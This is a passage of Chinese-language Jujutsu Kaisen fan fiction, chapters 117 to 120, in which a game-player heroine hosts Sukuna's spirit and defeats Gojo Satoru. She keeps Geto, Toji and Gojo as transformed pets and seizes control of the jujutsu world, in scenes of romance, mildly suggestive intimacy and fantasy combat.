其实他并没有听清楚她后面说的那些话,他只是忽然想吻她。 大概是意识到他不会放开自己,她恼怒地攥了攥他的发根。 心跳声在耳边鼓噪,呼吸变得急促而没有规律,体温在彼此的摩擦中慢慢升高。 当这个漫长的吻结束,两人的唇色都泛起暧昧的深红,清透的苍蓝色变得深邃,被欲//色染了个彻底。 “就、就算老师用这个办法,我也要说完,”今野桃的胸口剧烈起伏,喘着气说道,“老师就是值得最好的。” 五条悟眨了眨眼睛,赞同地说道:“你说得对。” “所以,我们什么时候结婚?” 【五条悟好感值:85】 今野桃没能立刻回答,因为趁着她恍神的功夫,短暂摆脱她的压制而听见外界动静的两面宿傩在她的脑子里大喊—— “我不同意!!” 第117章 今野桃一开始是想把两面宿傩的手指装回盒子里去的,但或许是玩家天性,她盯着那根长相奇特的手指看了好一会儿,决定做个实验。 她捏着鼻子,强忍着恶心把那根手指吃下去了。 yue…… 青春没有售价,宿傩手指入口即化。 等到那股邪恶的咒力在她的身体里蔓延开来,她能清楚地感觉到,身体里多了个什么东西,就好像原本只能住一个人的单人间被迫住进了两个人,有点拥挤。 “哼哼哼……”两面宿傩阴沉的笑声在她的大脑中响起,“渴求力量吗,我……” 他的话卡住了。 偌大的领域里,女人抱着手臂,饶有兴趣地打量着。 “这里就是你的生得领域啊。”她感叹道,“还挺有趣的嘛。” 所谓“生得领域”指的是一个人内心世界的具象化,可以理解为精神或灵魂的栖息地。 简言之,这是非常私密的地方,比日记本还要私密。 如今,这片个人空间被大摇 大摆地闯入,就像日记本被一页一页翻阅似的。 其实现在这片领域相较于最开始两面宿傩睁开眼睛看见的已经发生了很大的变化,过去一直翻涌不停的血海平静无波,或许暗示着主人的心境变得不同了。 “……你还真是不客气啊。”两面宿傩的嘴角抽了抽。 “哈哈,咱俩谁跟谁嘛。”今野桃抿嘴一笑,“怎么样,惊不惊喜?” 要说惊喜,那当然是有的。两面宿傩从骨座上跳下来,落在她的面前,开口道:“你怎么会愿意把我的手指吞下?” 刚刚可是一副恨不得离他十万八千里的模样,一点相认的意思都没有。 今野桃的目光漂移了一下,她清了清嗓子,说道:“这不是怕你寂寞吗。” 两面宿傩:“……”骗鬼呢。 跟她朝夕相处那么多年,不说对她的心思了如指掌,至少她说谎心虚时候的小动作还是很好认出来的。 但他不能拆穿。 因为拆穿后只会出现两个结果—— 第一,她破罐破摔,干脆承认,然后暴打他一顿。 第二,她恼羞成怒,甩锅给他,然后暴打他一顿。 “呵,那真是谢谢你了。”两面宿傩讥诮地笑道,他伸出手,想要抓住她。 今野桃抬手格挡,却轻易地将他打倒在地。 “……你变得好弱啊。”她蹲在他旁边,忍笑道,“感觉我一只手就能控制住你。” “那是因为我现在的实力只有过去的二十分之一。”两面宿傩不满地说道,“谁知道那个‘我’为什么会做出这样愚蠢的事情。” 这也切得太碎了一点吧。 今野桃用指尖抬起了他的下巴,笑吟吟地低下了头。 “没关系,身为主人,保护小狗是分内之事。” 身高超过两米的小狗?也就是她能说得出口了。 两面宿傩眯起眼睛,温驯地张开了嘴,任凭她轻柔地舔过。就在两人意乱情迷的时候,他骤然发难,猛地翻身,将她压在了下面。 “既然如此,喂饱小狗也是主人应该做的事情。” 今野桃想到这两天还有一大堆事情要做,就打算推开他。咒术师工会的人员安排、后续的扫尾工作……她正是最忙碌的时候,而以她对两面宿傩的了解,想要“喂饱”他,可不是简单的事情。 但是,两面宿傩说—— “我很想你。” 对她来而言不过是画面切换,可他却是实实在在地等待了几百年的光阴。 “我可没让你等我。”他们之间,从来没有任何约定。 两面宿傩轻笑了一声。 “大概是直觉吧。总觉得,当我醒来的时候,就能再度和你重逢。” 为了那点虚无缥缈的可能性,他愿意一直等下去。 今野桃凝视着他那张看起来已经有点陌生的脸,无奈地叹了口气。 她默许了他略显冰凉的嘴唇贴在她的脖子上,有点生疏地抚摸着他身上的黑色咒纹,让他不满地啧了一声。 “你的身体好像已经忘记我们当初的快乐时光了。”他用自己包裹住她,湿漉漉的痕迹恨不得沾满她的全身,像小狗留下气味标记,“不过没关系,我会让你重新想起来的。” 今野桃估计得没错,两面宿傩这家伙疯起来没完,最后被她狠狠痛揍一顿,才不甘不愿地在生得领域之中沉睡。 离开那片领域的时候,今野桃甚至有点恍惚。疲倦和快乐共存,偏偏身体又兴奋得很。 她生气地将两面宿傩关进了意识的最深处,仔细清理了他留下的咒力残秽。 她也挺好奇的,“六眼”能看出她吞下了两面宿傩的手指吗?。 结果证明,如果不是她一下没控制住,五条悟是发现不了两面宿傩的存在的。 但两面宿傩在她的大脑中发出声音后,他立刻就有所察觉了。 “你的身上……”他犹疑地开口道,“是两面宿傩的残秽吗?” “啊,可能是他的手指吧。”今野桃把两面宿傩关回去,不慌不忙地将早就准备好的装着另一根手指的盒子从口袋里拿了出来,“因为不放心让别人保管,就先放在我这里了。” 五条悟没收了这根手指:“这么危险的东西,不要贴身保管啊,我把它放回高专的忌库。” “好的。”今野桃乖巧地点头。 他们互相对视着,五条悟少见地表现出了些许苦恼,他揉了揉额角说道:“所以那些人拿我没办法的时候,心里也是这种感觉吗?” 今野桃好似没有听懂一样对他露出了甜美的微笑。 僵持了几秒钟,今野桃败下阵来,她小声地说道:“对不起,老师。” 五条悟沉默不语。 她捏住他的袖子轻轻晃了晃:“因为我一直把老师当做长辈一样尊重,所以突然说起要结婚什么的,实在是很奇怪呀……” 嘶……长辈……他忽然有点牙疼。 他看起来很老吗?! “拜托再给我一点时间吧。”今野桃委屈地说道,“而且,我们都没有交往过,怎么能突然跳到结婚呢?老师也太唐突了。” 交往……?好像也是。 或许他们确实需要一些时间来适应身份上的转变,从师生、同事,到恋人。 “好吧,听你的咯。”五条悟将绷带缠了回去,上下掂了掂盒子,说道,“别让我等太久啦。” “不会很久的。”今野桃笑得灿烂,将一大堆资料塞给他,“这是我对咒术师工会的一些安排和规划,老师拿去看吧,这里面的每个岗位,老师都可以随便挑选。” “哼哼,算你还有良心。” 于是等在外面望眼欲穿的人就看着办公室的大门打开,五条悟若无其事地走了出来。 他们失望地发现,两人竟然有说有笑,一点没有翻脸的迹象。 显然,五条悟最终选择支持自己的学生。 大势已去啊,咒术界的天,真的要变了。没想到带来变革的,不是被寄予厚望的五条悟,而是他的学生。 众人心思各异,都默不作声地散开了。 望着五条悟离开的背影,今野桃对路过向她打招呼的咒术师们颔首微笑。 两面宿傩恶声恶气地问她:“你不会真的要跟他结婚吧?” 今野桃微微侧着头,神情意味深长:“怎么,你有意见?” “哈?你竟然这么问?!”两面宿傩被气笑了,“你当着我的面跟其他男人调//情,竟然还问我是不是有意见?!” 今野桃施施然地回到了办公室,笼着袖子坐下,姿态端庄优雅:“你是以什么身份发表意见的呢?前情人?” 哪怕世人皆知天皇陛下和两面宿傩之间有着说不清道不明的关系,但他们并未以夫妻相称,也没有举办过任何仪式。 “我说过的呀,宿傩。”她叹息道,“不要向我索求来世,我最多只能给你一辈子。我啊,是很容易喜新厌旧的人呢。” 这样刻薄的话语,有着强烈自尊心的诅咒之王一定会受不了吧? 然而…… 【两面宿傩好感值:100】 那三个数字像是焊死了一样,纹丝不动。 他真的别太爱了。 “你不生气吗?”今野桃好奇地问道。 两面宿傩语气平静:“啊,没什么,意料之中罢了。” 不过是像从前那样,将那些胆敢染指属于他的东西的人,全部都捏死而已。 天皇陛下永远不会知道,他背地里处理掉了多少不知死活的家伙。 美貌、财富、权力……这些世人拼命追求的东西在一个人的身上汇聚,如何不令人疯狂?哪怕只是从她的指缝里漏下一点,都足以让人趋之若鹜、不择手段地追逐。 “哼,就先让你再逍遥一段时间吧。”只有一根手指的力量,还是太微弱了。 “什么叫逍遥啊,我本来就是自由的。”今野桃不满地嘀咕了一句,随后撑着下巴,平静地说道,“不过你放心好啦,我跟五条悟之间,还有一场必然要发生的战斗没有开场呢。” 他到现在还以为,她是个柔弱的咒术师。 多有趣啊,那个时候的他,表情一定很好看。是认清事实后的不甘?还是被背叛后的委屈?亦或是被隐瞒的痛苦?他会像当初夏油杰离开他时那样愤怒吗? 今野桃低低地笑着。 总感觉她在想可怕的东西,应该是有人要倒霉了。 反正不是他。 两面宿傩心思百转,连一句狠话都没放,沉入了生得领域之中…… 下班后,伊地知洁高将她送回了家。新的办公楼还是不够安全和保密,他们选择将议事地点放在今野桃的家里。 这也是伊地知洁高第一次走进学妹的家中。他比五条悟矮了两届,比今野桃高了四届。 不过因为工作太过忙碌,看起来比她要苍老许多。五条悟甚至都有看不过眼、要求他必须休息的时候。 如今, 他终于能停下来喘口气了。 现在的伊地知洁高已经升任为对外事务部的部长,负责和表世界的工作人员沟通。虽然同样不轻松,但至少能有固定的休息日。 “会长家里竟然养了小动物吗?”他略有点惊讶地推了推眼镜,“而且还是兔子和猫咪,不关在笼子里,它们不会打架吗?” “没事,它们感情好。”今野桃随口回答。 不知道是不是错觉,伊地知洁高好像看见两只小动物翻了个白眼,互相离得更远了。 “伊地知学长,”今野桃将话题带到工作上,“之前让你安排的……” …… 约莫一小时过去,伊地知洁高合上了笔记本。 “我明白你的意思了,我会和那边沟通好的。”他郑重地说道。 今野桃喝了一口茶,宽慰他:“没关系,不要太紧张,工会本来也才刚刚起步,大家都是摸着石头过河。” 伊地知洁高摇摇头,没说话。 正是因为刚刚起步,所以才更要小心谨慎。 “对了,我还忘了恭喜你。”他笑了笑,说道。 今野桃愣了一下,脸颊泛起了淡淡的红色:“什么啊,你也知道了吗?” 这个回答让伊地知洁高也跟着愣了:“我知道什么?我是想恭喜会长,有了五条老师的支持,这个位置应该算是坐稳了。” 假如五条悟反对,那一定掀起巨大的风波。 “哦……”今野桃扶额,有点不好意思似的拨弄了一下头发,“我还以为你知道了老师向我求婚的事情呢。” “啊?!” “喵?!!” 伊地知的声音和猫咪的叫声重叠在了一起。 今野桃回头,看见炸毛的猫咪瞪圆了眼睛,耳朵竖得笔直。 他没听错吧?!谁跟她求婚了?! 第118章 大门发出了轻微的响声,然后是汽车发动机的声音。今野桃送走了客人,哼着歌回到了家里。她走进卧室,取了要换洗的衣物,随后迈着轻快的脚步拉开了浴室的门。 一切都是那么的和谐又宁静。 阴暗的角落里,黑白色的猫咪和环境融为了一体,只有紫色的眼睛散发出幽光。 它就这么盯着她,在洗去了一身的疲惫后,关灯睡觉了。 过分安静的夜晚像是一摊死水,月光将窗外的树影投射在地上,风吹过的时候晃动起来,如同张牙舞爪的怪物。 客厅里钟表的滴答声分外刺耳,一下一下像小锤子敲打着它的脑袋。 它睡不着,心里又一团火焰在燃烧,烧得它失去理智。 良久,它动了。它没有发出一点声音跳到了窗户边缘,然后往外张望了一下。 它想离开,或者说,想要往外传递消息。 啪嗒。 极细微的声音忽然响起,让小猫咪陡然一惊。它下意识地看向房门,那里仍然关着。 它松了一口气的同时,又望向了罪魁祸首。 小兔子闭上眼睛的时候,谁也找不到它。它发出低沉的咕噜声,出乎意料的,小猫咪听懂了。 说来有点像什么童话故事里的情节,明明是不同种类的小动物,竟然能够听懂彼此发出的不同叫声。 当然,这也有可能是她的术式的效果。到现在,夏油杰都还不知道她的术式到底是什么,反正不可能是他知道的那个在学校登记过的“赐福”。 [不管你想做什么,我都劝你不要做。] 小兔子蠕动着它的三瓣嘴说道。 [你懂什么。] 小猫咪懒得理会它。 它绝不可能坐看自己的挚友被欺骗啊!骗点钱就算了,反正五条家有钱,现在她是要把人也骗走啊! 在花枝上摘两朵花也就罢了,她连花盆都要端走! 小猫咪焦虑地挠着地毯,发出烦躁的声音。 它必须做点什么。至少,不能让悟什么都不知道地傻傻走进她的陷阱,成为她的俘虏。 他有权利知道真相。 [我不能眼睁睁看着悟被骗!] 它说得义愤填膺振振有词,引来小兔子的侧目。 小兔子嗤了一声,挠了挠自己的下巴,懒洋洋地说道:[骗骗别人得了,别把自己也骗了哈。] 他到底是为了什么,明眼人一看就知道。 小猫咪抬眼,看着貌似很平静的兔子,说道:[行,那你就等着看她结婚吧。到时候说不定我们都会被抛弃哦。] 房间里陷入了死一样的安静。 小猫咪抖了抖耳朵,用极细微的声音说道:[根据科学调查,百分之六十的女人在结婚后都会放弃养宠物,百分之九十的女人在怀孕后都会将已经养了很久的宠物丢掉。] 什么科学研究,肯定是在胡说八道。 小兔子不屑地想。 钟声还在滴答滴答地走着,良久,一个声音响起。 [次卧的衣柜里,有一个手机,它可以联系到孔时雨。] 小猫咪倏然站了起来。 孔时雨?!那不是老熟人了吗!当初盘星教刚刚起步的时候,靠他的路子找到了不少客户呢。 还有,它竟然藏了一个手机?! 什么时候藏的?她知道吗? [我可不像你们这些小鬼一样,做事一点头脑都没有。]小兔子轻蔑地说道,随后打了个哈欠,把自己缩了起来,拒绝再跟它说话了。 显然,它能提供的帮助就这么多。到时候就算被发现,它也可以把责任推到小猫咪的身上去。 但小猫咪没得选,它看了一眼仍然没有一点动静的卧室,咬咬牙,伸出了带着肉垫的爪子…… 这是头一次,五条悟用“苍”来同她打招呼。蓝色的光芒以极快的速度划过天空,被她避开后,在地面炸开了一个大洞。 今野桃看了看破破烂烂的操场,无奈地叹了口气。 “夜蛾老师看样子又要头疼了。”她嘀咕道,“这笔经费是批还是不批呢?” 这副完全不把他放在眼里的姿态激怒了本就不太冷静的五条悟,他抬起手,大声说道:“你就没有什么要跟我解释的吗?!” 今野桃无辜地反问:“解释什么?” 五条悟磨着后槽牙,发出咯吱咯吱的声音:“关于你隐瞒自己的实力,然后欺骗我杰已经死了的事情!” “哦,这个啊。”今野桃点点头回答,“会隐瞒实力也很正常吧。当我看见身为最强的老师也不能得到幸福与快乐的时候,我就知道,这个世界只有武力值强大是不行的啊。” 五条悟:…… 解释就解释,能不能不要拉踩他! “我只是想平平淡淡地陪在老师身边,不想给咒术界当牛做马。”今野桃认真地说道,“比起从咒术界逃走的七海学长,我难道不值得被夸奖一下吗?” 五条悟看着她,一字一句地问道:“那杰的事情呢?杰,没有死,对吧。” 天知道他在接到消息的时候,还以为是诈骗短信,甚至想回消息骂对方。后来又以为自己的手机连通到了另一个世界,研究了半天。 现在想想,他真的跟个笑话一样。 “老师为什么这么生气?”今野桃弯了弯眼睛,露出了一个可爱的笑容,“学生原来这么强,自己的好友也还活着,两件开心的事情重合在一起,怎么还生气了呢?” 五条悟被哽住。 很好,俗话说“玉不琢不成器”,他对于学生的“雕琢”还是太少了。 他的手臂抬起,“苍”的引力瞬间撕碎空间,扭曲地朝对面的女人席卷而去。 只见一道影子微微晃动,下一秒,今野桃就出现在了五条悟的面前,两人之间的恐怕还没有一臂之远。 他的瞳孔骤然缩小,咒力涌动,在身上凝聚成了一层坚不可摧的屏障。 迄今为止,除了那把“天逆鉾”,还没有人能打碎他的“无下限”…… 轰——! 五条悟连带着他的“无下限”一起被锤进了教学楼里,发出的巨大响声引起了远处人们的关注。 “老师还 真是心软,把我叫出来,是想给我留面子吗?“今野桃摆了摆手,挥去鼻间的烟尘气息,“担心有人看见我被打后会失掉威信?” 就算因欺骗而生气,也还在为学生考虑呢,真是一个好老师啊。 五条悟面无表情地站在一片废墟之中,他扯下了脸上的绷带,露出一双酝酿着风暴的眼睛。 “杰说你可能比我想象中的要强,我还以为他在开玩笑呢。”他淡淡地说道,“那就让我来见识一下,小桃你现在的实力吧。” 他猛然欺身而上,拳头破开空气,挟带着雷霆之势轰向她的面门。今野桃偏头闪避,他借助惯性向前,在身形交错的瞬间变招,肘关节狠狠砸中她的肩膀。 几乎是同时,今野桃踹向他的小腿。 五条悟面色大变,两人不约而同地后退,再次拉开了距离。 如果不是被“无下限”挡了一下,他的腿绝对会断掉! 即便如此,他推测,现在那块地方应该也有点骨裂了。 而对面,今野桃扯开领口,露出泛着一片红色的肩膀,在白皙的肌肤上格外明显。 “很痛诶,老师。”她不满地抱怨道,“这算是家暴吗?” 五条悟气得撸起了裤管,被打中的地方已经出现了紫黑色的淤痕:“我是家暴,那你是什么?谋杀亲夫吗?” 哇哦—— 因为看热闹而凑过来的围观群众发出了吃瓜的声音。 两人又快速地交手了几次,五条悟发现自己在渐渐滑入下风。他愤怒之余,又觉得全身每个细胞都兴奋得在颤抖。他的嘴角不受控制地上扬,血液被点燃般沸腾,心跳越来越快,像战鼓在胸腔里轰鸣。 此时此刻,今野桃的脸在他的大脑中变得从未有过的清晰。她急促的呼吸、飞溅的汗珠、颤动的肌肉,都深深地刻在了他的“六眼”之中。 该结束了。 他随手抹去脸上滚落的汗水,缓缓竖起了食指和中指。 “是领域展开!” “五条竟然被逼到这个程度了吗?” 这不仅仅是五条悟最强的一招,也是战斗结束的讯号。 然而,今野桃并未露出慌张的模样。 莫非她也有后招?! 有的,她有。 今野桃张开了双臂,无数苍白的手臂自虚空之中伸出,像从地狱而来的绳索。 “也、也是领域?!” “不可能吧?!” 领域和领域撞在一起,空气中仿佛回荡着这块世界不堪重负的哀嚎。两股极为强大的咒力咆哮着如巨兽互相撕咬,迸发出无法直视的光芒。 五条悟已经技穷,但她仍有余力。 “赐福?”想到入学时她登记的术式,他怒极而笑道,“你骗我的地方还挺多的啊。” “见笑了。”今野桃谦逊地回答。 五条悟感觉到自己的身体在发出超负荷的呻//吟,于是干脆一屁股坐了下来:“听说你会把手下败将像宠物一样豢养起来?” “没有,谣言,都是谣言!”今野桃坚定地否认。 他往后一仰,摆烂道:“行了,快来吧。” 今野桃:“……” 突然就没有打赢的爽感了…… 小猫咪蹲在玄关处,尾巴在地上拍打出没有规律的声音。它从白天等到黑夜,终于听到了一阵脚步声响起。 它屏住了呼吸,等待一个结果。 门开了。 伴随着吱啊的响声,一道白色的影子冲了进来。它是一团裹着风的雪白毛球,小猫咪还没来得及反应,就被顶飞出去了。 “咩——” [芜湖!老子来咯!] 第119章 毛绒绒的小山羊大概只有人的膝盖那么高,但和另外的小猫咪以及小兔子相比,已经算得上是体型庞大了。 它撅着圆滚滚的屁股,两只后蹄在木质地板上哒哒蹬了两下,突然一个蓄力冲锋,就将还没反应过来的小猫咪顶飞了出去。 可怜的小猫咪带着一脸茫然的神色,变成了一颗旋转的毛球。它的爪子张开,在空中胡乱挥动,最后“噗”地一声落在了沙发里,只能看见一根尾巴在有气无力地晃来晃去。 “咩——”山羊发出了得意又快乐的声音,在玄关处蹦来蹦去。 [哈哈哈哈好逊哦杰!] 作弄完挚友,山羊的目光落在了怔愣的兔子身上。 第六感在疯狂预警,小兔子扭头就跑。但它连续蹦跶几步都比不过山羊小跑一下,哪里能躲得开它的追击呢。 只见小山羊压低了前半身,两只尖尖的角对准了兔子的后背,一个猛冲就将它挑了起来。 刚刚拱小猫咪的时候它还收了力,现在欺负小兔子就完全没有克制了。 在小兔子骂骂咧咧的声音中,它划出了一道漂亮的弧线,滚进了窗帘后面。 “咩——!”山羊发出了猖狂的笑声。 然后它终于被制裁了。 “好了,大家要和平相处啊。”今野桃有点后悔答应五条悟的请求,把他变成小动物了。 他一开始想要变成狮子,白色的、有着爆炸式鬃毛的狮子多么威武啊,然后被她果断拒绝。 ‘会被邻居举报的,谁想睁眼看见一只狮子蹲在门口啊。’今野桃比了个大叉,“闹出大动静的话,你绝对会被关进动物园。” 行吧,那就换一个。 蜜獾,又名“平头哥”,有着看谁干谁的“唯我独尊”气质,和堂堂悟大人很匹配嘛。 结果又被拒绝了。 ‘会很臭。’今野桃认真地说道,‘我不会允许这种动物进我家门的。’ 五条悟不满地嘀嘀咕咕很久后,变成了一只可爱的、长着两只尖尖的角的小山羊。 “咩!”他很友好啊,山羊就是这么打招呼的! 五条悟坚称自己没问题,然后大摇大摆地霸占了沙发,把挚友挤到了角落里。 夏油咪忍气吞声地蜷缩起身体,拒绝跟五条悟说话。 这对吗!他给他通风报信,是要他做好心理准备,对她警惕起来的,结果现在呢?悟也变成小动物了! 是她太强了,还是悟太大意了? 啪嗒一声,大门关上。 今野桃看着家里的三只小动物,露出了一个浅浅的笑容。 “好了,大家都到齐了,现在我们来开个家庭会议吧。” 家庭会议?什么家庭会议? 小猫咪的身上开始冒冷汗了。 “是谁传消息给老师的呢?”今野桃斜倚在墙上,慢悠悠地开口道。 “咩!” [是杰!]五条悟非常积极地主动抢答。 夏油杰朝他投来了幽怨的目光。 我给你通风报信,你转头就把我卖了是吧?真是卖友求荣啊!想到悟竟然是咒术界最强,就感觉这个咒术界要完了呢! 山羊发出了噗噗的笑声。 “啊,我就知道,是杰给悟报的信。”今野桃意料之中地点头,“好,下一个问题。杰是怎么给悟报的信呢?” “咩——” [是手机!]五条悟拉长了声音说道,[那些信息还在我手机里存着呢!] 小猫咪骤然从沙发的角落里弹起来,一屁股坐在了山羊的脑袋上。因为只有一只前爪,做不到用手“捂”的动作,小猫咪只能借助身体堵住它的嘴。 “喵喵喵!!” [快闭嘴吧悟!]夏油杰咬牙切齿地说道,[你不说话,没人当你是哑巴!] “咩咩咩!” [邪恶猫咪怪欺负纯真小山羊!] “哼。”今野桃撇撇嘴,开口道,“既然杰这么会说,那你告诉我,你的手机是哪里来的?” “喵喵!” [是兔子!是兔子给我的!] 他迫不及待地将最后一个同伙出卖了。 躲在窗帘后面假装自己不存在的小兔子:“……” 他就知道! “原来是甚尔先生。”今野桃扶额,“现在看来,你们每个人都有 参与啊。既然如此,你们必须受到惩罚才行。” 惩、惩罚?! 什么惩罚?不许吃饭,还是关禁闭?亦或是痛揍他们一顿? 单纯的男人只能想到这个了。 “等我先好好想想,怎么处置你们。”今野桃低头看了一眼手机,直起身,走了出去后在房子里设下了不许进出的结界,“我还有点事,等我回来再说。” 她的身影隐没在结界之外,很快就消失不见了。 屋内陷入了安静之中,小猫咪叹了口气,坐在山羊的头顶上,颓丧地耷拉下耳朵。 “喵……” [怎么办啊,现在我们算是被一网打尽了吗?] 他垂头丧气的,仿佛世界末日了。 五条悟都不是她的对手,还有谁会是呢? 想着想着,小猫咪就忍不住呜咽起来了。 “咩?”山羊歪着头,恍然大悟似的大叫一声。 [怎么了悟?]小猫咪紧张地问,[是哪里不舒服吗?] “咩咩。” [不是捏,杰,我忽然想起来,那天你是不是也一边喝水一边在哭啊?就是我从小桃房间里走出的那天。] 小猫咪僵住了。 [哦对了,我们好像还当着你的面,讨论了一下你死掉的事情。]小山羊吐了吐舌头,[真是不好意思啊,杰。] 并没有看出你哪里觉得不好意思了! 噗。 短促的笑声格外刺耳,恼羞成怒的小猫咪循声望去,看见正在幸灾乐祸的小兔子。 “喵!!” [悟!这家伙就是之前“星浆体”事件里刺杀我们的那个男人!他被小桃复活了!]小猫咪喵喵叫着告状,[他还想在这里称王称霸!动手殴打我!] 山羊看向了兔子,它从沙发上跳了下来,发出哒哒的声音,一点一点靠近了沉默的兔子。 [大胆,竟然欺负小动物!受死吧!] 他朝着兔子扑了过去,却被灵巧地躲开。一羊一兔绕着客厅开始打转,兔子仗着体型小,时不时从椅子下跑过去,小猫咪就故意在前面堵截它。 打到最后,小兔子抱头鼠窜,凭借着更小的体型,钻进了床底下,隐藏在了黑暗之中。 大获全胜! 小猫咪抬头挺胸,只觉得最近的郁结之气终于吐了出来。它蹲在挚友的头顶,拍了拍挚友的肩膀说道:[先安心留在这里,我们总会找到机会翻盘的!] 山羊眨了眨自己湛蓝色的天空般的眼瞳,还是没把心里的话说出口。 ——虽然但是,他是来度假的耶。 咒术师工会宣布每个咒术师都有法定节假日,他积累了好多年没有休息,这下一口气能歇个好长的假期呢。 他和这两个诅咒师可不一样0v<。 说来可笑,明明没有多少人,但咒术师之间还存在着一条鄙视链。高等级的咒术师们看不起低等级的,低等级的看不起无咒力的。也因此,高高在上的大人物们往往就会在阴沟里翻船。 明明计划得十分完美,却因为不起眼的小石头而功亏一篑。 “我知道了,谢谢伊地知学长的消息。”今野桃对着电话那头的人笑吟吟地说道。 “不客气,毕竟我们是一个阵营的。”伊地知洁高低声说道,“会长也要小心。” “我会的,不过是蚍蜉撼树、困兽犹斗罢了。”今野桃轻蔑地说道。 在发现五条悟也失败后,那些仅存的封建余孽可谓是吓了个魂飞魄散。聪明的已经跟他们拆伙另寻生路了,愚蠢的还聚集在一起,准备掀起最后的战斗。 他们以为五条悟是被她的花言巧语所蒙蔽,对她手下留情,哪怕她正面击败五条悟的视频都贴脸了,还捂住眼睛说都是假的。 他们抱着最后的希望,幻想着打败她之后,一切又可以变回从前的样子。 其实就算今野桃现在死了,总监部也不可能回来。一方面是从前的“烂橘子”都死得差不多了,另一方面,既得利益者可不会将吞下去的肉又吐出来。 夜色浓稠如墨,静静地流淌在办公室之中。新风系统还在工作,将室内维持在舒适的温度。 今野桃开着一盏很小的灯,不像是想要照亮自己,更像是一个显眼的靶子。她宛如一尊雕塑,端坐在皮质转椅上。时钟一分一秒地走过,窗外摇晃的树影也越来越茂密。 没有风吹过,她的睫毛轻轻颤动了一下,如同捕捉到了猎物的蛛网。 门把手以几不可查的速度下压,然后被毫无声响地推开。 轰隆。 隐隐的雷声响起,大雨倾盆而下,当闪电劈亮办公室的瞬间,她的剪影和杀手倒下的身影重叠在一起。鲜血飞溅在窗户玻璃上,然后缓缓滴下。 第二天,所谓的御三家彻底在咒术界销声匿迹。 年轻的女人拎着敌人的头颅,走出了办公室。来打扫的工作人员面色恭敬,什么都不知道的咒术师们茫然而又恐惧。 属于她的时代,在此刻拉开了序幕。 第120章 今野桃在打架的时候把两面宿傩放了出来,他的术式用来远程攻击比较方便,而她自己的术式要近身接触。 两面宿傩沉默地释放出斩击,一刀一个杀手,动作干脆利落地像是在超市杀了一百年的鱼。 血液汇聚成一条汩汩流淌的河流,最后从门缝里溢出去。 今野桃歪了歪头,笑问道:“你怎么突然一句话都不说?让我有点不太习惯了。” 连垃圾话都不放,不是两面宿傩的风格呀。 一张嘴出现在她的手背,被封印起来的诅咒之王没好气地回道:“我不说话,难道不是如了你的心意吗?” 好酸,还有一股怨气。 今野桃清了清嗓子,说道:“怎么会呢?我都让你寄宿在身体里了,怎么会不希望你说话?” “哦?是吗?”两面宿傩冷笑一声道,“那我们来聊聊你养的那三只宠物好了。” 好吧,确定了,是真的在吃醋。 今野桃低笑两声,点了点他的嘴唇,将意识沉进了他的生得领域之中。 蔓延的血色之中,身形庞大的两面宿傩斜躺在由万千骸骨堆积而成的王座上,四只红色的眼瞳半敛着,手臂漫不经心地搭在膝盖上。在看见她出现时,那原本无神的眼睛爆发出明亮的光泽。 就像是志怪小说中经常会出现的场景,一幅被定格的画作忽然被注入了灵魂,从纸上翩然而下。 他轻哼了一声,讥诮地开口道:“怎么,来看你的第四只宠物了?” “宠物?你确定自己是宠物吗?”今野桃挑眉,“要真论起来,你应当是‘工作犬’才对吧。” 两面宿傩没有走过来迎接她,今野桃也不生气,一步一步地靠近了他。 “‘宠物’的第一要务可是讨好主人,你觉得你做到了吗?”她捏住他的脸颊,轻轻晃了晃,“你看起来可不像是‘宠物’。” “哈!”两面宿傩翻身而起,扣住她的手腕,将她禁锢在怀中,“我还不够讨好你吗?明明服侍你的时候,你爽得不行吧!” 今野桃一把捂住了他的嘴巴,冷酷地说道:“不要开黄腔。” 但她忘了两面宿傩还有一张嘴巴,他怒极反笑地说着:“行啊,那我就让你回忆一下。” 四只手就是好,两只手控制住她的手臂,一只手抬起她的大腿,还有一只手能按住她的腰。 他咬着她的腰带,撕扯着她的衣服。 今野桃深吸了一口气。 她都快忘记了,两面宿傩这家伙,除了杀杀杀、吃吃吃,就是做做做。 不行,不能让他得逞,距离天亮还有不到三个小时了。 啪——! 这一巴掌没能打痛他,反而让两面宿傩回忆起了某些微妙的画面。曾经她睡着的时候,他故意闹她,她也是这样打他的。 身体变得兴奋,两面 宿傩的瞳孔亮得吓人,他空出来的手猛然扣在她的后颈,力道大得几乎要捏碎骨头,但其实不过是在天皇的身上留下了一点红痕罢了。 他仰着头,四只手恨不得将她揉进自己的骨血之中。唇瓣相触的瞬间,他就迫不及待地伸出了舌头。 他像行走在沙漠之中饥渴的旅人,啜饮着甘美的泉水。本就松垮的衣服被随意扯开,露出他结实的而又饱满的胸肌。 今野桃:“……” 不要涩右她啊!! 心里这么呐喊着,手却不受控制地摸了上去。 心跳仿佛能隔着肌肤彼此感受到,鲜红的抓痕勾勒出让人目眩神迷的图案。 好不容易抓住一个空隙,今野桃艰难地将自己从这具鲜活又美味的肉//体上撕下来,跌跌撞撞地后退好几步。 “总之,我要跟你说正经的。”她拢了拢领口,用指腹擦去嘴角湿漉漉的痕迹,“你想不想拥有一具属于你自己的身体?” 两面宿傩很明显没吃饱,脸上的表情都是渴求没有得到满足的郁卒。他没什么精神地说道:“就像那个宠物一样吗?你是用了‘降灵术’,然后是‘傀儡术’?” 千年前正是咒术界的全盛时期,各种各样的术式层出不穷,再加上他跟随在当今天皇的身边,见过的咒术就更多了。 “你的灵魂已经降临,不需要使用‘降灵术’。我可以用你的一根手指,捏出一具独属于你的身体。只要我不解除术式,你和真正复活没区别。” 这就相当于把命脉送给别人,从此生死只在别人的一念之间。 但是……自从遇到了她,他的生死何尝受自己所控呢? 第一次见面的时候,他就输给了她。 那一刻他就意识到,这辈子,他都无法摆脱她了。 “随你好了。”两面宿傩无所谓地说道,“你想怎么做,就怎么做吧。” 谁能控制她的想法和行动呢?相较于从前,她现在还会提前问一句,已经是这么漫长的时光后,令他“感动”的成长了啊。 柔软的掌心按在了他的头顶,轻轻揉了揉。 “我是很希望你能继续陪在我的身边啦。”果不其然,天皇任性地开口道,“但如果宿傩真的想要离开,我也没办法呀。” 她装模作样地施舍,看似给了选择,其实问题的答案最终只有一个。 两面宿傩从鼻子里喷出短促的一声,他仰躺在骨座里,毫无防备地暴露出自己的要害。 “你明明知道我的回答。” 今野桃沉默不语,当她走近时,诅咒之王的四只手都攀附在了她的身上,如同无法斩断的锁链。 “宿傩,我忘记跟你说一句话。”她垂眸笑道,“欢迎来到新世界。” 他们的目光在空气中纠缠,她注视着他的眼神是温柔而又和缓的,像清晨带着暖意的阳光。 